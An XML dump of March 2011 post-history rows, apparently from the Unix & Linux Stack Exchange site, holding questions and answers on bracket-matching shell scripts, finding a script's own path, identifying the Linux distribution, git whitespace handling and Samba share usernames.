  <row Id="24706" PostHistoryTypeId="2" PostId="10289" RevisionGUID="f6b82c17-e7b8-4e6c-98db-b831a3c5dbc1" CreationDate="2011-03-29T17:32:26.493" UserId="4671" Text="As a supplement to phunehehe's answer, see the [Gentoo Linux Keychain Guide](http://www.gentoo.org/doc/en/keychain-guide.xml) for a guide to [keychain](http://docs.funtoo.org/wiki/Keychain). keychain also uses [ssh-agent](http://en.wikipedia.org/wiki/Ssh-agent). The ssh-agent daemon makes the passphrase available (it becomes unavailable when the ssh-agent daemon dies) but keychain `reuses an ssh-agent between logins, and optionally prompts for passphrases each time the user logs in`, to quote the guide." />
  <row Id="24707" PostHistoryTypeId="2" PostId="10290" RevisionGUID="16fcd1fb-87a9-4f1d-b58d-f7bb6677b628" CreationDate="2011-03-29T17:39:51.240" UserId="2343" Text="I'm still working on getting the line number, but this will identify the **first** ,mis-placed *right bracket*, or indicate the first of any *un-paired left bracket*.  I believe they are the only two possibilities (but it is after 3 AM here so I'd better take another look tomorrow.. :)      &#xD;&#xA;  &#xD;&#xA;I'm pretty sure this is working, and it should be easy enough to get the line number (and column)... but enough for now... here is the script...  &#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;    # Build a test file&#xD;&#xA;    cp /dev/null ~/test&#xD;&#xA;    while IFS= read -r line ;do&#xD;&#xA;      echo &quot;$line&quot; &gt;&gt; ~/test&#xD;&#xA;    done &lt;&lt;EOF&#xD;&#xA;    [fred ] [] [&#xD;&#xA;    betty ] }&#xD;&#xA;    { [ barney ] }&#xD;&#xA;    wilma[ ] [[[ }&#xD;&#xA;    EOF&#xD;&#xA;&#xD;&#xA;    # Count how many: Left, Right, and Both&#xD;&#xA;    pair='[]'&#xD;&#xA;    left=${pair:0:1}&#xD;&#xA;    rght=${pair:1:1}&#xD;&#xA;    echo &quot;Pair = $left$rght&quot; &#xD;&#xA;    cp /dev/null ~/test.bb &#xD;&#xA;            sed 's/[^'${rght}${left}']//g' ~/test &gt; ~/test.bb&#xD;&#xA;    Both=($(sed 's/[^'${rght}${left}']//g' ~/test.bb |wc -m -l)); BothCt=$((${Both[1]}-${Both[0]}))&#xD;&#xA;    Left=($(sed 's/[^'${left}']//g'        ~/test.bb |wc -m -l)); LeftCt=$((${Left[1]}-${Left[0]}))&#xD;&#xA;    Rght=($(sed 's/[^'${rght}']//g'        ~/test.bb |wc -m -l)); RghtCt=$((${Rght[1]}-${Rght[0]}))&#xD;&#xA;    echo &quot;Both = $BothCt&quot;&#xD;&#xA;    echo &quot;Left = $LeftCt&quot;&#xD;&#xA;    echo &quot;Rght = $RghtCt&quot;&#xD;&#xA;&#xD;&#xA;    # Find non-matches&#xD;&#xA;    all=&quot;$(cat ~/test.bb)&quot;&#xD;&#xA;    all=&quot;${all//${left}/ ${left} }&quot;&#xD;&#xA;    all=&quot;${all//${rght}/ ${rght} }&quot;&#xD;&#xA;    array=($all)&#xD;&#xA;    echo # &quot;${array[@]}&quot;&#xD;&#xA;    eleCt=${#array[@]}&#xD;&#xA;    if (( $eleCt != $BothCt )) ; then&#xD;&#xA;      echo &quot;ERROR:  array Item Count ($eleCt)&quot;&#xD;&#xA;      echo &quot;     should equal BothCt ($BothCt)&quot;&#xD;&#xA;      exit 1&#xD;&#xA;    else&#xD;&#xA;      grpCt=0&#xD;&#xA;      eleCtL=0&#xD;&#xA;      eleCtR=0&#xD;&#xA;      for (( eleIx=0; eleIx&lt;eleCt; eleIx++ )) ; do&#xD;&#xA;        if [[ &quot;${array[eleIx]}&quot; == &quot;$left&quot; ]] ; then&#xD;&#xA;          ((eleCtL++))&#xD;&#xA;        else&#xD;&#xA;          ((eleCtR++))&#xD;&#xA;          if (( eleCtR &gt; eleCtL)) ; then&#xD;&#xA;             echo &quot;ERROR:  MIS-matching Right \&quot;$rght\&quot; at Item $((eleIx+1)) in Block $((grpCt+1))&quot;&#xD;&#xA;             break&#xD;&#xA;          elif (( eleCtR == eleCtL)) ; then&#xD;&#xA;            ((grpCt++))&#xD;&#xA;            echo &quot;*INFO:  Block $grpCt contains $eleCtR matching pairs&quot;&#xD;&#xA;            # Reset the element counts&#xD;&#xA;            eleCtL=0&#xD;&#xA;            eleCtR=0&#xD;&#xA;          fi&#xD;&#xA;        fi&#xD;&#xA;      done&#xD;&#xA;      if (( eleCtR != eleCtL)) ; then&#xD;&#xA;        echo &quot;ERROR:  End of file reached.&quot;&#xD;&#xA;        echo &quot;        Left \&quot;$left\&quot; at Item $((eleCt-(eleCtL-eleCtR)+1)) is un-paired&quot;&#xD;&#xA;        echo &quot;        There are $((eleCtL-eleCtR)) un-paired Left \&quot;$left\&quot;&quot;&#xD;&#xA;        exit 1&#xD;&#xA;      fi&#xD;&#xA;    fi &#xD;&#xA;    exit&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24708" PostHistoryTypeId="2" PostId="10291" RevisionGUID="3674d68b-1494-45cd-8002-eec9a1411f16" CreationDate="2011-03-29T17:52:38.530" UserId="3608" Text="I need to run a script that access a file in the same path it is located.&#xD;&#xA;&#xD;&#xA;For example: I have the script in `/home/me/folder/script.sh`, and this script will access the file `/home/me/folder/myfile`. As the file is in the same path of the script, I just use the name `myfile`, not the full path.&#xD;&#xA;&#xD;&#xA;But if I run it from `/tmp/`, like:&#xD;&#xA;&#xD;&#xA;    /tmp$ /home/me/folder/script.sh&#xD;&#xA;&#xD;&#xA;it gives me:&#xD;&#xA;&#xD;&#xA;    myfile: No such file or directory&#xD;&#xA;&#xD;&#xA;So, how can I say in the script that the file is in the same path as the script itself?" />
  <row Id="24709" PostHistoryTypeId="1" PostId="10291" RevisionGUID="3674d68b-1494-45cd-8002-eec9a1411f16" CreationDate="2011-03-29T17:52:38.530" UserId="3608" Text="How to run a script from another path, and know the script's path?" />
  <row Id="24710" PostHistoryTypeId="3" PostId="10291" RevisionGUID="3674d68b-1494-45cd-8002-eec9a1411f16" CreationDate="2011-03-29T17:52:38.530" UserId="3608" Text="éshellàéscriptingàéshellöscriptàépathà" />
  <row Id="24711" PostHistoryTypeId="2" PostId="10292" RevisionGUID="2ebe3c3f-14f4-42ea-9c1a-fe7c7ccfd760" CreationDate="2011-03-29T17:56:57.950" UserId="5842" Text="I'd go with this as a first step:&#xD;&#xA;&#xD;&#xA;    ls /etc/*release&#xD;&#xA;&#xD;&#xA;Gentoo, RedHat, Arch &amp; SuSE have a file called e.g. `/etc/gentoo-release`. Seems to be popular, check this site about [release-files](http://linuxmafia.com/faq/Admin/release-files.html).&#xD;&#xA;&#xD;&#xA;Debian &amp; Ubuntu should have a `/etc/lsb-release` which contains release info also, and will show up with the previous command.&#xD;&#xA;&#xD;&#xA;Another quick one is `uname -rv`. If the kernel installed is the stock distro kernel, you'll usually find the name in there." />
  <row Id="24712" PostHistoryTypeId="2" PostId="10293" RevisionGUID="56b7278a-bac1-4dc4-93a1-a13c9deb22e3" CreationDate="2011-03-29T17:57:09.183" UserId="5646" Text="Ah — turns out I think this was actually a VMWare issue after all. I disabled printers in VMWare’s virtual machine’s settings, and lo and behold, the problem (seems to have) disappeared. VMWare must have been trying to get printing to work." />
  <row Id="24713" PostHistoryTypeId="25" PostId="10281" RevisionGUID="aec919ce-5266-4739-aa0d-ea0ccd335283" CreationDate="2011-03-29T18:00:20.957" Comment="http://twitter.com/#!/StackUnix/status/52792220658577408" />
  <row Id="24714" PostHistoryTypeId="2" PostId="10294" RevisionGUID="0e021a00-dd66-4ec6-a8e2-fdd42a22ff6d" CreationDate="2011-03-29T18:00:49.130" UserId="1946" Text="How about `$(dirname &quot;$0&quot;)/myfile`?" />
  <row Id="24715" PostHistoryTypeId="2" PostId="10295" RevisionGUID="a2f13dc5-2008-4157-986c-ba1baa1eca17" CreationDate="2011-03-29T18:20:07.220" UserId="5325" Text="You can't know in all circumstances, but often (not always) when you run a script by path instead of letting the shell search `$PATH`, the path to the script will be in `$0`.  You can then use `dirname &quot;$0&quot;` or `${0%/*}` to get the path." />
  <row Id="24716" PostHistoryTypeId="6" PostId="10281" RevisionGUID="5a2144f8-2657-414f-96a5-e57c3b390aa5" CreationDate="2011-03-29T18:21:46.430" UserId="4" Comment="edited tags" Text="élinuxàésshàédistrosà" />
  <row Id="24717" PostHistoryTypeId="6" PostId="10281" RevisionGUID="c4f1c3dd-4820-4f85-a4e0-2436125b4388" CreationDate="2011-03-29T18:38:07.583" UserId="885" Comment="edited tags" Text="élinuxàédistrosà" />
  <row Id="24718" PostHistoryTypeId="6" PostId="10284" RevisionGUID="d69eadfb-921d-4244-8b2f-a17a4ea4568a" CreationDate="2011-03-29T18:39:41.607" UserId="885" Comment="edited tags" Text="élinuxàédebianàévmwareàécupsà" />
  <row Id="24719" PostHistoryTypeId="5" PostId="10271" RevisionGUID="2b177c3b-9c5d-46f9-adb0-6fcd68ea7f9a" CreationDate="2011-03-29T18:55:17.447" UserId="3519" Comment="added 84 characters in body" Text="The best option is vim/gvim as identified by Shadur, but if you want a script, you can check [my answer][1] to a similar question on [Stack Overflow][2]. I repeat my whole answer here:&#xD;&#xA;&#xD;&#xA;If what you are trying to do applies to a general purpose language, then this is a non-trivial problem.&#xD;&#xA;&#xD;&#xA;To start with you will have to worry about comments and strings. If you want to check this on a programming language that uses regular expressions, this will make your quest harder again.&#xD;&#xA;&#xD;&#xA;So before I can come in and give you any advice on your question I need to know the limits of your problem area. If you can guarantee that there are no strings, no comments and no regular expressions to worry about - or more generically nowhere in the code that brackets can possibly be used other than for the uses for which you are checking that they are balanced - this will make life a lot simpler.&#xD;&#xA;&#xD;&#xA;Knowing the language that you want to check would be helpful.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;If I take the hypothesis that there is no noise, i.e. that all brackets are useful brackets, my strategy would be iterative:&#xD;&#xA;&#xD;&#xA;I would simply look for and remove all inner bracket pairs: those that contain no brackets inside. This is best done by collapsing all lines to a single long line (and find a mechanism to to add line references, should you need to get that information out). In this case the search and replace is pretty simple:&#xD;&#xA;&#xD;&#xA;It requires an array:&#xD;&#xA;&#xD;&#xA;    B[&quot;(&quot;]=&quot;)&quot;; B[&quot;[&quot;]=&quot;]&quot;; B[&quot;{&quot;]=&quot;}&quot;&#xD;&#xA;&#xD;&#xA;And a loop through those elements:&#xD;&#xA;&#xD;&#xA;    for (b in B) {gsub(&quot;[&quot; b &quot;][^][(){}]*[&quot; B[b] &quot;]&quot;, &quot;&quot;, $0)}&#xD;&#xA;&#xD;&#xA;My test file is as follows:&#xD;&#xA;&#xD;&#xA;    #!/bin/awk&#xD;&#xA;    &#xD;&#xA;    ($1 == &quot;PID&quot;) {&#xD;&#xA;      fo (i=1; i&lt;NF; i++)&#xD;&#xA;      {&#xD;&#xA;        F[$i] = i&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    ($1 + 0) &gt; 0 {&#xD;&#xA;      count(&quot;VIRT&quot;)&#xD;&#xA;      count(&quot;RES&quot;)&#xD;&#xA;      count(&quot;SHR&quot;)&#xD;&#xA;      count(&quot;%MEM&quot;)&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    END {&#xD;&#xA;      pintf &quot;VIRT=\t%12d\nRES=\t%12d\nSHR=\t%12d\n%%MEM=\t%5.1f%%\n&quot;, C[&quot;VIRT&quot;], C[&quot;RES&quot;], C[&quot;SHR&quot;], C[&quot;%MEM&quot;]&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    function count(c[)&#xD;&#xA;    {&#xD;&#xA;      f=F[c];&#xD;&#xA;    &#xD;&#xA;      if ($f ~ /m$/)&#xD;&#xA;      {&#xD;&#xA;        $f = ($f+0) * 1024&#xD;&#xA;      }&#xD;&#xA;    &#xD;&#xA;      C[c]+=($f+0)&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;My full script (without line referencing) is as follows:&#xD;&#xA;&#xD;&#xA;    cat test-file-for-brackets.txt | \&#xD;&#xA;      tr -d '\r\n' | \&#xD;&#xA;      awk \&#xD;&#xA;      '&#xD;&#xA;        BEGIN {&#xD;&#xA;          B[&quot;(&quot;]=&quot;)&quot;;&#xD;&#xA;          B[&quot;[&quot;]=&quot;]&quot;;&#xD;&#xA;          B[&quot;{&quot;]=&quot;}&quot;&#xD;&#xA;        }&#xD;&#xA;        {&#xD;&#xA;          m=1;&#xD;&#xA;          while(m&gt;0)&#xD;&#xA;          {&#xD;&#xA;            m=0;&#xD;&#xA;            for (b in B)&#xD;&#xA;            {&#xD;&#xA;              m+=gsub(&quot;[&quot; b &quot;][^][(){}]*[&quot; B[b] &quot;]&quot;, &quot;&quot;, $0)&#xD;&#xA;            }&#xD;&#xA;          };&#xD;&#xA;          print&#xD;&#xA;        }&#xD;&#xA;      '&#xD;&#xA;&#xD;&#xA;The output of that script stops on the innermost illegal uses of brackets.&#xD;&#xA;But beware: 1/ this script will not work with brackets in comments, regular expressions or strings, 2/ it does not report where in the original file the problem is located, 3/ although it will remove all balanced pairs it stops at the innermost error conditions and keeps all englobbing brackets.&#xD;&#xA;&#xD;&#xA;Point 3/ is probably an exploitable result, though I'm not sure of the reporting mechanism you had in mind.&#xD;&#xA;&#xD;&#xA;Point 2/ is relatively easy to implement but takes more than a few minutes work to produce, so I'll leave it up to you to figure out.&#xD;&#xA;&#xD;&#xA;Point 1/ is the tricky one because you enter a whole new realm of competing sometimes nested beginnings and endings, or special quoting rules for special characters...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/2667494/awk-brackets-checking/4420435#4420435&#xD;&#xA;  [2]: http://stackoverflow.com/" />
  <row Id="24720" PostHistoryTypeId="2" PostId="10296" RevisionGUID="48a6df65-9889-4353-a6e1-c64ea2e4280a" CreationDate="2011-03-29T19:28:01.837" UserId="5978" Text="Can you give some more information? &#xD;&#xA;If that is an Openboot, you can boot from cdrom with:&#xD;&#xA;&#xD;&#xA;    sc&gt; boot cdrom&#xD;&#xA;&#xD;&#xA;Anyway those `ERROR` messages doesn't look good. " />
  <row Id="24721" PostHistoryTypeId="2" PostId="10297" RevisionGUID="93757dc1-cde5-4970-af9d-dae44f96d0d0" CreationDate="2011-03-29T19:36:53.133" UserId="885" Text="For diff, there's `git diff --ignore-space-at-eol`, which should be good enough. For diff and blame, you can ignore all whitespace changes with `-w`: `git diff -w`, `git blame -w`.&#xD;&#xA;&#xD;&#xA;For `git apply` and `git rebase`, the documentation mentions `--ignore-whitespace`.&#xD;&#xA;&#xD;&#xA;For merge, it looks like you need to use an external merge tool. You can use this wrapper script (untested), where `favorite-mergetool` is your favorite [merge tool](http://www.kernel.org/pub/software/scm/git/docs/git-mergetool.html); run `git -c mergetool.nocr.cmd=/path/to/wrapper/script merge`. The result of the merge will be in unix format; if you prefer another format, convert everything to that different format, or convert `$MERGED` after the merge.&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    set -e&#xD;&#xA;    TEMP=$(mktemp)&#xD;&#xA;    tr -d '\013' &lt;&quot;$BASE&quot; &gt;&quot;$TEMP&quot;&#xD;&#xA;    mv -f &quot;$TEMP&quot; &quot;$BASE&quot;&#xD;&#xA;    TEMP=$(mktemp)&#xD;&#xA;    tr -d '\013' &lt;&quot;$LOCAL&quot; &gt;&quot;$TEMP&quot;&#xD;&#xA;    mv -f &quot;$TEMP&quot; &quot;$LOCAL&quot;&#xD;&#xA;    TEMP=$(mktemp)&#xD;&#xA;    tr -d '\013' &lt;&quot;$REMOTE&quot; &gt;&quot;$TEMP&quot;&#xD;&#xA;    mv -f &quot;$TEMP&quot; &quot;$REMOTE&quot;&#xD;&#xA;    favorite-mergetool &quot;$@&quot;&#xD;&#xA;&#xD;&#xA;To minimize trouble with mixed line endings, make sure [text files are declared as such](http://www.kernel.org/pub/software/scm/git/docs/gitattributes.html#_tt_text_tt).&#xD;&#xA;&#xD;&#xA;See also [Is it possible for git-merge to ignore line-ending differences?](http://stackoverflow.com/questions/861995/is-it-possible-for-git-merge-to-ignore-line-ending-differences) on Stack Overflow.&#xD;&#xA;" />
  <row Id="24722" PostHistoryTypeId="5" PostId="7342" RevisionGUID="e5d39ca1-7f00-44c3-9d6d-5144f2fa2941" CreationDate="2011-03-29T19:58:26.130" UserId="688" Comment="deleted 9 characters in body; edited tags" Text="When mounting a Samba share the user name is defaulting to the user name from the client machine rather than the &quot;User Name&quot; field from the earlier &quot;Connect to Server&quot; dialogue.&#xD;&#xA;&#xD;&#xA;Accessing a Samba share over ssh from Linux with Nautilus where the client user name is &quot;lfm&quot; and the user name on the server system is &quot;lastfirstmiddle&quot;:&#xD;&#xA;&#xD;&#xA;    $ who | awk '{print $1}'&#xD;&#xA;    lfm&#xD;&#xA;    lfm&#xD;&#xA;    $ sudo ssh lastfirstmiddle@example.com -L 445:samba.example.com:445 -L 139:samba.example.com:139 -f -N&#xD;&#xA;    [sudo] password for lfm: &#xD;&#xA;    lastfirstmiddle@example.com's password:&#xD;&#xA;    $ nautilus&#xD;&#xA;&#xD;&#xA;The user home share does not exhibit the problem.&#xD;&#xA;The password dialog is using the user name as specified in the &quot;Connect to Server&quot; dialogue as expected:&#xD;&#xA;&#xD;&#xA;    lfm - File Brower&#xD;&#xA;    Location: [/home/lfm]&#xD;&#xA;    File&gt;Connect To Server...&gt;&#xD;&#xA;&#xD;&#xA;    Connect To Server&#xD;&#xA;    Service type: [Windows Share]&#xD;&#xA;    Server: [localhost]&#xD;&#xA;    Share: [lastfirstmiddle]&#xD;&#xA;    User Name: [lastfirstmiddle]&#xD;&#xA;    Domain Name: [example-com]&#xD;&#xA;    &lt;Connect&gt;&#xD;&#xA;    &#xD;&#xA;    Password required for share lastfirstmiddle on localhost&#xD;&#xA;    [x]Forget password immediately&#xD;&#xA;    Password: [*******]&#xD;&#xA;    &lt;Connect&gt;&#xD;&#xA;    &#xD;&#xA;    lastfirstmiddle on localhost - File Browser&#xD;&#xA;    Location: [smb://example-com;lastfirstmiddle@localhost/lastfirstmiddle/]&#xD;&#xA;&#xD;&#xA;Using the &quot;Connect to Server&quot; dialogue one can get a list of &quot;Windows Shares&quot; by leaving the &quot;Share&quot; field blank.&#xD;&#xA;&#xD;&#xA;    lastfirstmiddle on localhost - File Browser&#xD;&#xA;    File&gt;Connect To Server...&gt;&#xD;&#xA;&#xD;&#xA;    Connect To Server&#xD;&#xA;    Service type: [Windows Share]&#xD;&#xA;    Server: [localhost]&#xD;&#xA;    Share: []&#xD;&#xA;    User Name: [lastfirstmiddle]&#xD;&#xA;    Domain Name: [example-com]&#xD;&#xA;    &lt;Connect&gt;&#xD;&#xA;    &#xD;&#xA;    Password required for share lastfirstmiddle on localhost&#xD;&#xA;    [x]Forget password immediately&#xD;&#xA;    Password: [*******]&#xD;&#xA;    &lt;Connect&gt;&#xD;&#xA;    &#xD;&#xA;    On localhost - File Brower&#xD;&#xA;    Location: [smb://localhost/]&#xD;&#xA;&#xD;&#xA;Then select a share and &quot;Open with Open Folder&quot; produces the &quot;Connect to Server&quot; dialog which unlike the previous case defaults the &quot;User name&quot; to the user on the client system. It does not pick up the value used in the &quot;Connect to Server&quot; dialogue that produced the list of shares.&#xD;&#xA;&#xD;&#xA;    On localhost - File Brower&#xD;&#xA;    Location: [smb://localhost/]&#xD;&#xA;    ----------- ---- ----    -----&#xD;&#xA;    Name        Size Type    Date&#xD;&#xA;    ----------- ---- ----    -----&#xD;&#xA;    AShare      --   Folder Unkown&#xD;&#xA;    BShare      --   Folder Unkown&#xD;&#xA;    CShare      --   Folder Unkown&#xD;&#xA;    {{XShare    --   Folder Unkown}}&#xD;&#xA;    YShare      --   Folder Unkown&#xD;&#xA;    ZShare      --   Folder Unkown&#xD;&#xA;    File&gt;Open with Open Folder&gt;&#xD;&#xA;&#xD;&#xA;One can use &quot;Connect to Server&quot; and specify a &quot;Bookmark&quot; which can be used later to mount a share without having to compete the &quot;Connect to Server&quot; dialog each time. To have access to all six shares listed above (ABCXYZ) one would need to create six bookmarks. This might be OK for six shares but if there are dozens of shares this would be a bit obnoxious.&#xD;&#xA;&#xD;&#xA;Is there a way to change the default user name to something other than the client system's user name?&#xD;&#xA;" />
  <row Id="24723" PostHistoryTypeId="6" PostId="7342" RevisionGUID="e5d39ca1-7f00-44c3-9d6d-5144f2fa2941" CreationDate="2011-03-29T19:58:26.130" UserId="688" Comment="deleted 9 characters in body; edited tags" Text="élinuxàésambaàénautilusàédefaultsà" />
  <row Id="24724" PostHistoryTypeId="5" PostId="5177" RevisionGUID="b73081e9-fb6a-4e5c-860e-0acfe651da90" CreationDate="2011-03-29T20:04:35.503" UserId="688" Comment="added 12 characters in body" Text="Put something in the startup scripts to rewrite `menu.lst`.&#xD;&#xA;&#xD;&#xA;So have Ubuntu write a version of `menu.lst` that loads OpenSuSE, and have OpenSuSE write a version that loads Ubuntu.&#xD;&#xA;&#xD;&#xA;A relatively safe way to do this would be to have 3 files, `menu.lst`, `menu.lst.ubuntu` and `menu.lst.SuSE` and have the scripts do:&#xD;&#xA;&#xD;&#xA;    cp menu.lst.ubuntu menu.lst&#xD;&#xA;&#xD;&#xA;on SuSE and:&#xD;&#xA;&#xD;&#xA;    cp menu.lst.SuSE menu.lst&#xD;&#xA;&#xD;&#xA;on Ubuntu. " />
  <row Id="24726" PostHistoryTypeId="2" PostId="10298" RevisionGUID="2540b143-30b9-41fb-9463-ade529cc662d" CreationDate="2011-03-29T20:40:42.080" UserId="885" Text="You can't change which interface is used by default in applications like `iftop`. They call the C library function [`if_nameindex`](http://pubs.opengroup.org/onlinepubs/009695399/functions/if_nameindex.html) and use the first element in the returned array by default. GNU libc's `if_nameindex` on Linux is a thin wrapper around the [`SIOCGIFCONF` ioctl](http://lxr.linux.no/#linux+v2.6.38/net/core/dev.c#L3846). That returns interfaces in a fixed order, based on the order in which the network drivers were initialized and the order in which each driver detected each device.&#xD;&#xA;&#xD;&#xA;If you really don't want to have to pass `-i` to `iftop` and similar programs, you can make a small wrapper around `if_nameindex` that reorders the elements in the returned list, with [`LD_PRELOAD`](http://www.ibm.com/developerworks/linux/library/l-glibc.html). I would call that a lot more trouble than it's worth.&#xD;&#xA;" />
  <row Id="24727" PostHistoryTypeId="5" PostId="10290" RevisionGUID="10211d35-56af-4ec0-b106-49b43dad2fd0" CreationDate="2011-03-29T20:45:37.367" UserId="2343" Comment="Now prints line, colum numbers ; added 32 characters in body" Text="*Update:*  &#xD;&#xA;The following script now prints out the line number and column of a mismached *bracket*. It is currently set up for `{}`  &#xD;&#xA;The script identifies the **first** ,*unmatched right bracket*, or the first of any *un-paired left bracket*... I believe those are the only two possibilities, and there in no way to know where the error truly lies, so at that point it exits with the line and column numbers&#xD;&#xA;  &#xD;&#xA;Here is the script...  &#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;&#xD;&#xA;    # Build a test file&#xD;&#xA;    cp /dev/null ~/test&#xD;&#xA;    while IFS= read -r line ;do&#xD;&#xA;      echo &quot;$line&quot; &gt;&gt; ~/test&#xD;&#xA;    done &lt;&lt;EOF&#xD;&#xA;    [fred ] [] [&#xD;&#xA;    betty ] {a b c}    {         {         { }&#xD;&#xA;    {[ barney ]   }    }         }         }&#xD;&#xA;    wilma[ ] [[[                           &#xD;&#xA;    EOF&#xD;&#xA;&#xD;&#xA;    pair='{}'&#xD;&#xA;    # Count how many: Left, Right, and Both&#xD;&#xA;    left=${pair:0:1}&#xD;&#xA;    rght=${pair:1:1}&#xD;&#xA;    echo &quot;Pair = $left$rght&quot; &#xD;&#xA;    cp /dev/null ~/test.bb &#xD;&#xA;            sed 's/[^'${rght}${left}']//g' ~/test &gt; ~/test.bb&#xD;&#xA;    # Both=($(sed 's/[^'${rght}${left}']//g' ~/test.bb |wc -m -l)); BothCt=$((${Both[1]}-${Both[0]}))&#xD;&#xA;    Left=($(sed 's/[^'${left}']//g'        ~/test.bb |wc -m -l)); LeftCt=$((${Left[1]}-${Left[0]}))&#xD;&#xA;    Rght=($(sed 's/[^'${rght}']//g'        ~/test.bb |wc -m -l)); RghtCt=$((${Rght[1]}-${Rght[0]}))&#xD;&#xA;    BothCt=$((LeftCt+RghtCt))&#xD;&#xA;&#xD;&#xA;    # Find non-matches&#xD;&#xA;    all=&quot;$(cat ~/test.bb)&quot;&#xD;&#xA;    all=&quot;${all//${left}/ ${left} }&quot;&#xD;&#xA;    all=&quot;${all//${rght}/ ${rght} }&quot;&#xD;&#xA;    array=($all)&#xD;&#xA;    eleCt=${#array[@]}&#xD;&#xA;    if (( $eleCt != $BothCt )) ; then&#xD;&#xA;      echo &quot;ERROR:  array Item Count ($eleCt)&quot;&#xD;&#xA;      echo &quot;     should equal BothCt ($BothCt)&quot;&#xD;&#xA;      exit 1&#xD;&#xA;    else&#xD;&#xA;      grpCt=0&#xD;&#xA;      eleIxFir[$grpCt]=1 # First Item Ix&#xD;&#xA;      eleCtL=0&#xD;&#xA;      eleCtR=0&#xD;&#xA;      itmErrNumb=0&#xD;&#xA;      for (( eleIx=0; eleIx&lt;eleCt; eleIx++ )) ; do&#xD;&#xA;        if [[ &quot;${array[eleIx]}&quot; == &quot;$left&quot; ]] ; then&#xD;&#xA;          ((eleCtL++))&#xD;&#xA;        else&#xD;&#xA;          ((eleCtR++))&#xD;&#xA;          if (( eleCtR &gt; eleCtL)) ; then&#xD;&#xA;            itmErrNumb=$((eleIx+1))&#xD;&#xA;            echo &quot;ERROR:  MIS-matching Right \&quot;$rght\&quot; at Item $itmErrNumb in Block $((grpCt+1))&quot;&#xD;&#xA;            itmErrType=$rght&#xD;&#xA;            break&#xD;&#xA;          elif (( eleCtR == eleCtL)) ; then&#xD;&#xA;            ((grpCt++))&#xD;&#xA;            echo &quot;*INFO:  Block $grpCt contains $eleCtR matching pairs&quot;&#xD;&#xA;            # Reset the element counts&#xD;&#xA;            eleCtL=0&#xD;&#xA;            eleCtR=0&#xD;&#xA;            eleIxFir[$grpCt]=$((eleIx+1))&#xD;&#xA;          fi&#xD;&#xA;        fi&#xD;&#xA;      done&#xD;&#xA;      if (( eleCtR &lt; eleCtL)) ; then&#xD;&#xA;        itmErrNumb=$((eleCt-(eleCtL-eleCtR)+1))&#xD;&#xA;        itmErrType=$left&#xD;&#xA;        echo &quot;ERROR:  END OF FILE&quot;&#xD;&#xA;        echo &quot;        Left \&quot;$left\&quot; detected as un-paired at Item $itmErrNumb (in Block $((grpCt+1)))&quot;&#xD;&#xA;        unpairedCt=$((eleCtL-eleCtR))&#xD;&#xA;        itmErrNumb=$((${eleIxFir[grpCt]}+unpairedCt))&#xD;&#xA;        echo &quot;        Block $((grpCt+1)) begins at Item $itmErrNumb. There are $unpairedCt un-paired Left \&quot;$left\&quot;&quot;&#xD;&#xA;      fi&#xD;&#xA;      #&#xD;&#xA;      if (( itmErrNumb &gt; 0 )) ; then&#xD;&#xA;        errLNum=0&#xD;&#xA;        while IFS= read -r bb ; do&#xD;&#xA;          ((errLNum++))&#xD;&#xA;          items=&quot;${bb//[^&quot;$rght$left&quot;]/}&quot;&#xD;&#xA;          ((itmErrCt+=${#items}))&#xD;&#xA;          if (( itmErrCt &gt;= itmErrNumb )) ; then&#xD;&#xA;            ((itmRhsCt=itmErrCt-itmErrNumb+1))&#xD;&#xA;            line=$(&lt; ~/test tail -n +$errLNum |head -n 1)&#xD;&#xA;            # echo &quot;line=$line=&quot;&#xD;&#xA;            for (( i=0; i&lt;itmRhsCt; i++ )) ; do&#xD;&#xA;              line=&quot;${line//$rght/$left}&quot;&#xD;&#xA;              line=&quot;${line%&quot;$left&quot;*}&quot;&#xD;&#xA;            done&#xD;&#xA;            errColm=$((${#line}+1))&#xD;&#xA;            echo &quot;        see: Line, Column ($errLNum, $errColm)&quot;&#xD;&#xA;            echo &#xD;&#xA;            break&#xD;&#xA;          fi&#xD;&#xA;        done &lt; ~/test.bb&#xD;&#xA;      else&#xD;&#xA;        echo &quot;OK:  All pairs are matched&quot;&#xD;&#xA;      fi&#xD;&#xA;    fi&#xD;&#xA;    exit&#xD;&#xA;" />
  <row Id="24728" PostHistoryTypeId="25" PostId="10291" RevisionGUID="7b3beba5-361b-49c4-810b-33d678cfaa3d" CreationDate="2011-03-29T21:00:21.147" Comment="http://twitter.com/#!/StackUnix/status/52837520102264832" />
  <row Id="24729" PostHistoryTypeId="5" PostId="10292" RevisionGUID="84ac814c-850a-4260-8d69-ac78b3c32fb7" CreationDate="2011-03-29T22:30:14.710" UserId="5842" Comment="added 27 characters in body" Text="I'd go with this as a first step:&#xD;&#xA;&#xD;&#xA;    ls /etc/*release&#xD;&#xA;&#xD;&#xA;Gentoo, RedHat, Arch &amp; SuSE have a file called e.g. `/etc/gentoo-release`. Seems to be popular, check this site about [release-files](http://linuxmafia.com/faq/Admin/release-files.html).&#xD;&#xA;&#xD;&#xA;Debian &amp; Ubuntu should have a `/etc/lsb-release` which contains release info also, and will show up with the previous command.&#xD;&#xA;&#xD;&#xA;Another quick one is `uname -rv`. If the kernel installed is the stock distro kernel, you'll &lt;strike&gt;usually&lt;/strike&gt; sometimes find the name in there." />
